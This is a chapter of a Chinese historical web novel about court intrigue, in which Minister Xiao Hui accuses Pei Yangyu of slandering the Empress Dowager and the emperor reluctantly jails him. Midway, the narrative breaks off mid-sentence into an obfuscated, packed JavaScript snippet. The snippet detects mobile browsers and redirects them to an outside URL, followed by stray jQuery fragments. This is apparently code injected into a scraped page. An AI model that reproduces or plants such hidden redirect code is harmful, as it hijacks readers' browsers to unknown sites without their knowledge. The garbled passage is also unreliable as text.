124. 圈套
作品:《兄长不仁》 刑部审了吕宁几日,还是未从他嘴里撬到有用的话,卢修文没了办法,只能凭眼下的证据先判定他的罪,继而又将所有的事上呈弘帝。
弘帝得知燕和图与吕宁所干的勾当,震怒不已,当即便下令抄了燕宅。
一夜之间,燕和图便从因公陨落的忠臣变成了人人喊打的小人,连带着燕宅余留的家眷仆人,也受此波及,统统被抓到刑部大牢等候发落。
吕宁和燕宅家眷还要再细审,一时之间还未得结论,可跟燕和图相关的大臣都被面斥罚俸了。裴扬雨从前拜在燕和图门下,燕和图的身份爆出,一时之间裴扬雨成为众矢之的,众臣纷纷上折跪求弘帝要重重发落裴扬雨。
正当弘帝为难间,卢修文突然上前说话,当着朝臣的面,说明吕宁的归案有裴扬雨很大的功劳,按照律法,应当从轻发落,众臣的嘴方才消停了一些。
有人感叹裴扬雨运气好的同时,也在疑惑卢修文这葫芦里卖的是什么药。
他向来看不惯裴扬雨,若是裴扬雨落难,他不过去落井下石已经算是仁义善良了,怎么还会冒着风险为裴扬雨开脱?
看来裴扬雨与卢修文的关系也不算太差,裴扬雨毕竟与弘帝有亲戚关系,卢修文不看僧面也得看佛面,从前与他交锋,卢修文到底也没落得什么好处。
如今看来,应当是卢修文看清了局势,转移了阵脚,改而向裴扬雨一方倾斜了。
也是,裴扬雨有弘帝看护着,即便眼下得罪了他,让他憋屈了,他日后若是寻着机会,定当会千百倍还回来,与其跟他作对,倒不如卖他一个人情,不日后即便要清账,裴扬雨也会看在今日的恩情网开一面。
虽说裴扬雨与燕和图有师生之名,可他毕竟被蒙在鼓里,不知道燕和图的恶。若是真要论起来,在座的所有人,识人不清,任由祸害成为他们的同僚,这个罪名也不小。算了,保他,也是在保自己。
有了这样的深思,朝臣们纷纷将头低得更低,不愿再当出头鸟追究裴扬雨的责任。
弘帝见众臣纷纷松了口,这才暗自松了一口气。
只是近侍在他耳边低语了几句,说是萧汇有重要的事情要私下觐见弘帝,且此事事关裴扬雨,十分要紧。
弘帝略略皱了皱眉,退朝后又单独留下了萧汇和裴扬雨,看看萧汇有什么话要说。
听见弘帝的咳嗽声,近侍忙上了一盏温热的茶水给他润润嗓子。轻抿一口茶后,弘帝见萧汇还不开口,便问:“萧相有何事要说?殿内只有我们几人,不会再有其他人知道。”
萧汇闻言,即刻跪下,“陛下,臣要状告永国公。”
弘帝压了压眉,“因为何事?”
萧汇身子跪得笔直,沉声道:“臣近日偶然得知,永国公不日前密查宫闱密案,这本是陛下家事,臣不该僭越过问,只是永国公所查涉及太后和陛下,若此事一旦流出,朝局必定会动摇,臣只能冒险陈情了。”
吕宁的案子还未最终论断,裴扬雨已经猜到萧汇不会让他好过,但没想到萧汇的手脚这么快,竟先来攀咬他了。
裴扬雨道:“萧相若无证据,便是空口白牙诬陷别人。”
“永国公,此事不劳你提醒,若无证据,我怎敢在陛下面前陈情?”萧汇不屑地冷笑一声,“陛下,永国公曾私下会见服侍裴太后的女使施婵,欲追问当年裴太后之事,还将施婵一家看护起来,行威胁恐吓之事,让施婵诬陷当今太后,永国公,是与不是?”
裴扬雨心一颤,面上却不惧,“萧相,单凭你只言片语,便知道话是真或是假的?岂不是太儿戏了?”
萧汇呈信上前,郑重道:“陛下,得知此事严重性后,我即可派人密密潜入施婵家中,得了她的口信。怕陛下不信,又让他她亲手写下并签字画押,这是万万抵赖不得的,若是陛下不信,可派人去查探。”
弘帝从近侍手中接过萧汇的信,展开看了看。
笔迹确实为一女子所写,上面写的却是裴扬雨如何威逼她诬陷攀咬当今顾太后的事,还隐隐提及了几句当年之事。
眼看弘帝的脸色越来越不好,萧汇继而道:“事态严重,臣便僭越去查了。裴太后当年之事,满宫人都是见证。若当时真的有另有隐情,陛下难道会隐忍至今吗?”
“陛下,您可是当今太后护着一手登上皇位的,裴扬雨行此事,便是有意破坏您与太后的母子之情,若您与太后生了嫌隙,宫里宫外必然有闲话,若是重提旧事,这个罪责,裴扬雨能担当得起吗?”
“大胆。”弘帝用力拍了桌子,桌子上的烛火也晃得厉害,“萧汇,你如今倒是可以越过我,给旁人定罪了,你好大的胆子。”
萧汇跪下,“臣不敢,臣只是怕此事动摇江山,若臣不说,出了动荡,臣岂非成了千古罪人?”
弘帝用帕子捂着嘴又咳了一声,正要发作,却听见殿外的宫人来报,说是顾太后来了。
没等弘帝传召,顾太后便黑着脸,一副兴师问罪之势踏入大殿。
“太后怎么来了?”弘帝瞥了萧汇一眼又瞪了一眼近侍。
顾太后急步走来,迎上弘帝不冷不热的目光,坦然道:“听闻有人要伤害你我母子的感情,我便想来看看究竟是谁有这么大的胆子。”
“没想到,进来一看,萧相和永国公在此处。”
顾太后的目光锐利,片刻便落定到裴扬雨的身上,“方才我也在殿外听了一些,不想竟还有人拿十余年前的旧事做势,不知道是哪来的胆子?”
萧汇朝顾太后一拜,道:“太后降罪,臣僭越了。永国公裴扬雨勾结随侍在裴太后跟前的女使,想要兴风作浪,臣实在是忍无可忍,为了陛下和太后,不得不冒死陈情了。”
“兴风作浪?”顾太后顺势坐下,问道:“萧相,你倒是好好说说。”
萧汇又原原本本将状告裴扬雨的话说了一番
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264208|181261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还将施婵的信呈上作为证据。
顾太后得知后,果然发了一通好大的脾气,“裴扬雨,你身为朝臣,居然做出这样下作的事情。裴妃虽为你的姑母,陛下的生母,就算现下还活着,也绝不会姑息你做出此等大逆不道之事。构陷当朝太后,这是什么罪名?”
裴扬雨跪下,仍是面不改色,“太后,臣的忠心天地可鉴,倒是萧相寻了不明不白的信来,又凭着只言片语状告臣,臣实在是无从辩驳。”
萧汇见裴扬雨要澄清自己的清白,忙道:“太后,臣所说的句句属实,若非亲自核查过,怎敢状告道陛下面前。陛下可与永国公有一层表亲关系,若是我诬陷永国公,陛下必然不会放过我。太后和陛下若是不信,可派人核查。”
“陛下,你说呢?”顾太后的脸色已经很难看,还是转头看向弘帝。
弘帝脸色暗了暗,“事情的真假有待核查,此事并非是小事,不能仅凭一个人的只言片语便给另一个人定罪。”
顾太后眼里含着淡淡的怒意,扫向弘帝,“萧相是两朝臣子了,断不会拿自己的仕途开玩笑,看来皇帝是要包庇裴扬雨,寒了忠臣的心了?还是说,皇帝也如裴扬雨一般这样想?”
弘帝眼眸更暗,胸口憋闷像堵着一口气,“太后知道我不是这个意思,太后的恩情我感念至今,不会因任何人而改变。”
“那皇帝究竟是信萧相还是他?”顾太后轻嗤,“皇帝可别忘了,当时是我力排众议将你送上今日这个位子,难道你真的要为一些节外生枝的人寒了我的心吗?”
弘帝瞥了裴扬雨一眼,暗自咽下一口气,“既然萧相有证据,构陷太后可是滔天罪名,理应送入刑部大牢,交由刑部的人审理清楚。”
弘帝咬着牙道:“不知太后可满意?”
顾太后见弘帝松了口,又恢复了往日温和得体的笑,“母子连心,陛下如何做,我这个母后自然没有意见。只是可得让刑部的人查查清楚,若永国公是被人构陷的还好说,若是真如萧相所说,想必以陛下的决断,定然不会徇私轻轻放过。”
弘帝知道如今骑虎难下,不做个样子,顾太后和萧汇必然不会让步,只得名殿外的侍卫将裴扬雨押下去。
见裴扬雨被侍卫带走,顾太后与萧汇暗暗对望一眼,又缓缓起身,“陛下,你的身子还未好全,今日又动了肝火,只怕是要早些休息才好。”
萧汇见状,跪拜行礼作别,与顾太后一前一后离开了大殿。
顾太后和萧汇刚走没多久,弘帝的咳疾便发作了,他用帕子捂着嘴咳了一声,喉间满是血味,张开帕子一看,却见帕子已被染红了一大块。看见这血,弘帝的头变得更为昏沉。
这几个月来,弘帝的身子一直是靠汤药吊着,病情还未完全好转,如今被这么一激,更是雪上加霜。
近侍见血一惊,连忙上前扶住弘帝又唤殿内的其他宫人,“快去传御医来。”

